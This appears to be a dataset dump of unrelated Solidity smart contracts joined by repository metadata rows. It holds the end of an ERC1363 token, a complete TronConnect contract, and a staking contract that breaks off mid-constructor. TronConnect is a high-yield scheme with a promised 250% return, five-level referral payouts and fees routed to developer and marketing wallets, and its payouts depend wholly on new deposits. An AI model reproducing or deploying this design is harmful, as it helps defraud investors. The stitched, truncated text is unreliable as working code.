// Equals to `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Receiver(0).onTransferReceived.selector`
bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c;
// Equals to `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Spender(0).onApprovalReceived.selector`
bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
// register the supported interfaces to conform to ERC1363 via ERC165
_registerInterface(_InterfaceId_ERC1363Transfer);
_registerInterface(_InterfaceId_ERC1363Approve);
}
function transferAndCall(address to,
uint256 value)
public
returns (bool)
{
return transferAndCall(to, value, "");
}
function transferAndCall(address to,
uint256 value,
bytes data)
public
returns (bool)
{
require(transfer(to, value));
require(_checkAndCallTransfer(msg.sender,
to,
value,
data));
return true;
}
function transferFromAndCall(address from,
address to,
uint256 value)
public
returns (bool)
{
// solium-disable-next-line arg-overflow
return transferFromAndCall(from, to, value, "");
}
function transferFromAndCall(address from,
address to,
uint256 value,
bytes data)
public
returns (bool)
{
require(transferFrom(from, to, value));
require(_checkAndCallTransfer(from,
to,
value,
data));
return true;
}
function approveAndCall(address spender,
uint256 value)
public
returns (bool)
{
return approveAndCall(spender, value, "");
}
function approveAndCall(address spender,
uint256 value,
bytes data)
public
returns (bool)
{
approve(spender, value);
require(_checkAndCallApprove(spender,
value,
data));
return true;
}
function _checkAndCallTransfer(address from,
address to,
uint256 value,
bytes data)
internal
returns (bool)
{
if (!to.isContract()) {
return false;
}
bytes4 retval = IERC1363Receiver(to).onTransferReceived(msg.sender, from, value, data);
return (retval == _ERC1363_RECEIVED);
}
function _checkAndCallApprove(address spender,
uint256 value,
bytes data)
internal
returns (bool)
{
if (!spender.isContract()) {
return false;
}
bytes4 retval = IERC1363Spender(spender).onApprovalReceived(msg.sender, value, data);
return (retval == _ERC1363_APPROVED);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: eth-token-recover/contracts/TokenRecover.sol
contract TokenRecover is Ownable {
function recoverERC20(address tokenAddress,
uint256 tokenAmount)
public
onlyOwner
{
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
// File: contracts/access/roles/OperatorRole.sol
contract OperatorRole {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor() internal {
_addOperator(msg.sender);
}
modifier onlyOperator() {
require(isOperator(msg.sender));
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function addOperator(address account) public onlyOperator {
_addOperator(account);
}
function renounceOperator() public {
_removeOperator(msg.sender);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
// File: contracts/token/BaseToken.sol
contract BaseToken is ERC20Detailed, ERC20Capped, ERC20Burnable, ERC1363, OperatorRole, TokenRecover {
event MintFinished();
event TransferEnabled();
// indicates if minting is finished
bool private _mintingFinished = false;
// indicates if transfer is enabled
bool private _transferEnabled = false;
modifier canMint() {
require(!_mintingFinished);
_;
}
modifier canTransfer(address from) {
require(_transferEnabled || isOperator(from));
_;
}
constructor(string name,
string symbol,
uint8 decimals,
uint256 cap,
uint256 initialSupply)
ERC20Detailed(name, symbol, decimals)
ERC20Capped(cap)
public
{
if (initialSupply > 0) {
_mint(owner(), initialSupply);
}
}
function mintingFinished() public view returns (bool) {
return _mintingFinished;
}
function transferEnabled() public view returns (bool) {
return _transferEnabled;
}
function mint(address to, uint256 value) public canMint returns (bool) {
return super.mint(to, value);
}
function transfer(address to, uint256 value) public canTransfer(msg.sender) returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public canTransfer(from) returns (bool) {
return super.transferFrom(from, to, value);
}
function finishMinting() public onlyOwner canMint {
_mintingFinished = true;
_transferEnabled = true;
emit MintFinished();
emit TransferEnabled();
}
function enableTransfer() public onlyOwner {
_transferEnabled = true;
emit TransferEnabled();
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
function removeMinter(address account) public onlyOwner {
_removeMinter(account);
}
}
// File: contracts/token/ShakaToken.sol
contract ShakaToken is BaseToken {
constructor(string name,
string symbol,
uint8 decimals,
uint256 cap,
uint256 initialSupply)
BaseToken(name,
symbol,
decimals,
cap,
initialSupply)
public
{}
}
| 334,822 | 13,453 |
a29356b0a2cde49a91be54b18be843cebbc18fbe10f490613a4aed96910f6a4e
| 20,880 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYk8GShr2snQJRXWnNzjiWGQVqLS7SwYAj_TronConnect.sol
| 7,101 | 19,970 |
//SourceUnit: TronConnect.sol
pragma solidity 0.5.10;
contract TronConnect {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 200e6;
uint256 constant public BASE_PERCENT = 400;
uint256[] public REFERRAL_PERCENTS = [700,200,100,50,50];
uint256 constant public PROJECT_FEE = 1000;
uint256 constant public DEV_FEE = 200;
uint256 constant public MARKETING_FEE = 700;
uint256 constant public DEV_FEE_W = 100;
uint256 constant public ROI = 25000;
uint256 constant public PERCENTS_DIVIDER = 10000;
uint256 constant public HOLD_BONUS = 10;
uint256 constant public MAX_HOLD_BONUS = 200;
uint256 constant public CONTRACT_BONUS = 10;
uint256 constant public MAX_CONTRACT_BONUS = 350;
uint256 constant public CONTRACT_BALANCE_STEP = 250000e6;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalDeposits;
address payable public devAddress;
address payable public projectAddress;
address payable public marketingAddress;
uint256 internal lastMil;
uint256 public startDate;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
uint256 id;
Deposit[] deposits;
uint256 checkpoint;
uint256 lastHoldPercent;
address referrer;
uint256[5] levels;
uint256 directBusiness;
uint256 totalRewards;
uint256 bonus;
uint256 reserved;
uint256 refBackPercent;
}
mapping (address => User) internal users;
mapping (uint256 => address) internal ids;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event RefBack(address indexed referrer, address indexed referral, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(uint256 start,address payable devAddr,address payable projectAddr,address payable marketingAddr) public {
require(marketingAddr != address(0) && projectAddr != address(0) && devAddr != address(0));
if(start>0)
startDate = start;
else
startDate = block.timestamp;
devAddress = devAddr;
projectAddress = projectAddr;
marketingAddress = marketingAddr;
//initial project as first user
User storage user = users[projectAddr];
user.checkpoint = block.timestamp;
user.deposits.push(Deposit(200e6, 0, block.timestamp));
totalUsers = totalUsers.add(1);
user.id = totalUsers;
ids[totalUsers] = projectAddr;
}
function invest(uint256 referrerID) public payable {
require(block.timestamp >= startDate," Not Launched yet ");
address referrer = ids[referrerID];
require(msg.value >= INVEST_MIN_AMOUNT);
devAddress.transfer(msg.value.mul(DEV_FEE).div(PERCENTS_DIVIDER));
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(DEV_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
address upline = user.referrer;
for (uint256 w = 0; w < 5; w++) {
if (upline != address(0)) {
users[upline].levels[w] = users[upline].levels[w].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 w = 0; w < 5; w++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(getUserReferralPercent(w)).div(PERCENTS_DIVIDER);
if (w == 0) {
uint256 preDirectBusiness = users[upline].directBusiness;
users[upline].directBusiness = users[upline].directBusiness.add(msg.value);
if (users[upline].refBackPercent > 0) {
uint256 refback = amount.mul(users[upline].refBackPercent).div(PERCENTS_DIVIDER);
user.bonus = user.bonus.add(refback);
user.totalRewards = user.totalRewards.add(amount);
amount = amount.sub(refback);
emit RefBack(upline, msg.sender, refback);
}
//leader prize
uint256 leaderPrize= getUserLeaderPrize(preDirectBusiness,users[upline].directBusiness);
if(leaderPrize > 0){
amount = amount.add(leaderPrize);
}
}
if (amount > 0) {
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalRewards = users[upline].totalRewards.add(amount);
emit RefBonus(upline, msg.sender, w, amount);
}
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
user.id = totalUsers;
ids[totalUsers] = msg.sender;
emit Newbie(msg.sender);
}
uint256 deposit = msg.value;
user.deposits.push(Deposit(deposit, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
uint256 mils = address(this).balance.div(CONTRACT_BALANCE_STEP);
if (mils > lastMil) { /// 1 per every 1 mil
users[getUserById(1)].bonus = users[getUserById(1)].bonus.add((mils.sub(lastMil)).mul(CONTRACT_BALANCE_STEP.div(100)));
lastMil = mils;
}
}
function _reserve() internal {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(ROI).div(PERCENTS_DIVIDER)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(ROI).div(PERCENTS_DIVIDER)) {
dividends = (user.deposits[i].amount.mul(ROI).div(PERCENTS_DIVIDER)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
user.checkpoint = block.timestamp;
user.reserved = user.reserved.add(totalAmount);
}
function withdraw(uint256 amount) public {
require(block.timestamp >= startDate," Not Launched yet ");
User storage user = users[msg.sender];
//only once a day
require(now > user.checkpoint + TIME_STEP , "Only once a day");
//50% of total deposits
uint256 uTotalInvest = getUserTotalActiveDeposits(msg.sender);
if(amount > uTotalInvest.mul(40).div(100)){
amount = uTotalInvest.mul(40).div(100);
}
uint256 holdBonus = getUserHoldBonus(msg.sender);
_reserve();
uint256 reserved = user.reserved;
uint256 referralBonus = getUserReferralBonus(msg.sender);
uint256 contractBalance = address(this).balance;
if (contractBalance < amount) {
amount = contractBalance;
}
require(reserved.add(referralBonus) > amount, "User has no enough dividends");
uint256 remaining = amount;
if (referralBonus > 0) {
if (referralBonus >= amount) {
remaining = remaining.sub(amount);
user.bonus = user.bonus.sub(amount);
} else {
remaining = remaining.sub(user.bonus);
user.bonus = 0;
}
}
if (remaining > 0) {
user.reserved = user.reserved.sub(remaining);
}
user.lastHoldPercent = holdBonus.mul(user.reserved).div(reserved);
msg.sender.transfer(amount);
devAddress.transfer(amount.mul(DEV_FEE_W).div(PERCENTS_DIVIDER));
marketingAddress.transfer(amount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, amount.mul(DEV_FEE_W.add(MARKETING_FEE)).div(PERCENTS_DIVIDER));
emit Withdrawn(msg.sender, amount);
}
function setRefBackPercent(uint256 newPercent) public {
require(newPercent <= PERCENTS_DIVIDER);
User storage user = users[msg.sender];
user.refBackPercent = newPercent;
}
function getContractStats() public view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
return (totalUsers,
totalInvested,
totalDeposits,
getContractBalance(),
startDate,
getContractBalanceRate().sub(BASE_PERCENT));
}
function getUserBonus(address userAddress) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (getUserPercentRate(userAddress),
BASE_PERCENT,
getUserHoldBonus(userAddress),
getContractBalanceRate().sub(BASE_PERCENT),
getUserDownlineBonus(userAddress),
getUserLeaderBonus(userAddress),
getUserRefbackPercent(userAddress));
}
function getUserInvestmentStats(address userAddress) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (getUserTotalDeposits(userAddress),
getUserTotalWithdrawn(userAddress),
getUserAvailable(userAddress),
getUserAmountOfDeposits(userAddress),
getUserRefRewards(userAddress),
getUserDirectBusiness(userAddress),
getUserLastDepositDate(userAddress));
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP).mul(CONTRACT_BONUS);
if (contractBalancePercent > MAX_CONTRACT_BONUS) {
contractBalancePercent = MAX_CONTRACT_BONUS;
}
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserHoldBonus(address userAddress) public view returns (uint256) {
if (block.timestamp < startDate) return 0;
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP);
uint256 holdBonus = (timeMultiplier.mul(HOLD_BONUS)).add(user.lastHoldPercent);
if (holdBonus > MAX_HOLD_BONUS) {
holdBonus = MAX_HOLD_BONUS;
}
return holdBonus;
} else {
return 0;
}
}
function getUserDownlineBonus(address userAddress) public view returns(uint256) {
uint256 refs = users[userAddress].levels[0];
if (refs >= 200) {
return 150;
} else if (refs >= 100) {
return 100;
} else if (refs >= 75) {
return 75;
} else if (refs >= 50) {
return 50;
} else if (refs >= 25) {
return 25;
} else if (refs >= 10) {
return 10;
} else {
return 0;
}
}
function getUserLeaderPrize(uint256 preDirectBusiness,uint256 directBusiness) internal pure returns(uint256) {
uint256 leaderPrize=0;
if (directBusiness >= 5e12 && preDirectBusiness < 300e9) {
leaderPrize+= 130e9;
}
if (directBusiness >= 1e12 && preDirectBusiness < 200e9) {
leaderPrize+= 35e9;
}
if (directBusiness >= 500e9 && preDirectBusiness < 150e9) {
leaderPrize+= 10e9;
}
if (directBusiness >= 100e9 && preDirectBusiness < 100e9) {
leaderPrize+= 2e9;
}
if (directBusiness >= 50e9 && preDirectBusiness < 50e9) {
leaderPrize+= 1e9;
}
if (directBusiness >= 20e9 && preDirectBusiness < 25e9) {
leaderPrize+= 4e8;
}
if (directBusiness >= 10e9 && preDirectBusiness < 10e9) {
leaderPrize+= 2e8;
}
return leaderPrize;
}
function getUserLeaderBonus(address userAddress) public view returns(uint256) {
uint256 directBusiness = getUserDirectBusiness(userAddress);
if (directBusiness >= 300e9) {
return 150;
} else if (directBusiness >= 200e9) {
return 130;
} else if (directBusiness >= 150e9) {
return 100;
} else if (directBusiness >= 100e9) {
return 70;
} else if (directBusiness >= 50e9) {
return 50;
} else if (directBusiness >= 25e9) {
return 30;
} else if (directBusiness >= 10e9) {
return 10;
} else {
return 0;
}
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
return getContractBalanceRate().add(getUserHoldBonus(userAddress)).add(getUserDownlineBonus(userAddress)).add(getUserLeaderBonus(userAddress));
}
function getUserDividends(address userAddress) public view returns (uint256) {
if (block.timestamp < startDate) return 0;
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends = user.reserved;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(ROI).div(PERCENTS_DIVIDER)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(ROI).div(PERCENTS_DIVIDER)) {
dividends = (user.deposits[i].amount.mul(ROI).div(PERCENTS_DIVIDER)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserReferralPercent(uint256 level) public view returns(uint256) {
return REFERRAL_PERCENTS[level];
}
function getUserId(address userAddress) public view returns(uint256) {
return users[userAddress].id;
}
function getUserById(uint256 id) public view returns(address) {
return ids[id];
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDirectBusiness(address userAddress) public view returns(uint256) {
return users[userAddress].directBusiness;
}
function getUserRefRewards(address userAddress) public view returns(uint256) {
return users[userAddress].totalRewards;
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserLastDepositDate(address userAddress) public view returns(uint256) {
return users[userAddress].deposits[users[userAddress].deposits.length-1].start;
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(ROI).div(PERCENTS_DIVIDER)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalActiveDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if(user.deposits[i].withdrawn < user.deposits[i].amount.mul(ROI).div(PERCENTS_DIVIDER)){
amount = amount.add(user.deposits[i].amount);
}
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount = user.totalRewards.sub(user.bonus);
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount.sub(user.reserved);
}
function getUserWithdrawRef(address userAddress) public view returns(uint256) {
return users[userAddress].totalRewards.sub(users[userAddress].bonus);
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2], users[userAddress].levels[3], users[userAddress].levels[4]);
}
function getUserRefbackPercent(address userAddress) public view returns(uint256) {
return users[userAddress].refBackPercent;
}
function getTop10Leader() public view returns(uint[] memory,uint[] memory){
uint[10][2] memory top;
uint cnt = totalUsers;
uint total;
uint tmpValue;
uint tmpId;
for (uint i = 1; i <= cnt; i++) {
total = users[ids[i]].directBusiness;
if(total > top[1][9]){
top[0][9]=i;
top[1][9]=total;
for(uint j =9; j > 0; j--){
if(top[1][j - 1] >= top[1][j]) break;
tmpId = top[0][j - 1];
tmpValue = top[1][j - 1];
top[0][j - 1] = top[0][j];
top[1][j - 1] = top[1][j];
top[0][j] = tmpId;
top[1][j] = tmpValue;
}
}
}
uint[] memory id = new uint[](10);
uint[] memory val = new uint[](10);
for (uint k = 0; k < 10; k++) {
if(top[0][k]>0){
id[k]=top[0][k];
val[k]=top[1][k];
}
}
return (id,val);
}
function getTop10Referral() public view returns(uint[] memory,uint[] memory){
uint[10][2] memory top;
uint cnt = totalUsers;
uint total;
uint tmpValue;
uint tmpId;
for (uint i = 1; i <= cnt; i++) {
total = users[ids[i]].levels[0];
if(total > top[1][9]){
top[0][9]=i;
top[1][9]=total;
for(uint j =9; j > 0; j--){
if(top[1][j - 1] >= top[1][j]) break;
tmpId = top[0][j - 1];
tmpValue = top[1][j - 1];
top[0][j - 1] = top[0][j];
top[1][j - 1] = top[1][j];
top[0][j] = tmpId;
top[1][j] = tmpValue;
}
}
}
uint[] memory id = new uint[](10);
uint[] memory val = new uint[](10);
for (uint k = 0; k < 10; k++) {
if(top[0][k]>0){
id[k]=top[0][k];
val[k]=top[1][k];
}
}
return (id,val);
}
function getTop10Investors() public view returns(uint[] memory,uint[] memory){
uint[10][2] memory top;
uint cnt = totalUsers;
uint total;
uint tmpValue;
uint tmpId;
for (uint i = 1; i <= cnt; i++) {
total = getUserTotalDeposits(ids[i]);
if(total > top[1][9]){
top[0][9]=i;
top[1][9]=total;
for(uint j =9; j > 0; j--){
if(top[1][j - 1] >= top[1][j]) break;
tmpId = top[0][j - 1];
tmpValue = top[1][j - 1];
top[0][j - 1] = top[0][j];
top[1][j - 1] = top[1][j];
top[0][j] = tmpId;
top[1][j] = tmpValue;
}
}
}
uint[] memory id = new uint[](10);
uint[] memory val = new uint[](10);
for (uint k = 0; k < 10; k++) {
if(top[0][k]>0){
id[k]=top[0][k];
val[k]=top[1][k];
}
}
return (id,val);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 302,594 | 13,454 |
9f53692dc6a56ca5b6ea71b082056915d831105bcc824c6ae46275a328774e46
| 12,940 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x730dF8D34EeFd4B547be5Cd2A1dF2d27e6E3d9AE/contract.sol
| 3,223 | 12,331 |
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract MINTPool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token) public initializer {
depositToken = IERC20(_token);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract MinterProtocol is MINTPool {
IERC20 public rewardToken;
uint256 public halvingPeriod = 604800;
uint256 public totalreward;
uint256 public starttime;
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _rewardToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken);
rewardToken = IERC20(_rewardToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
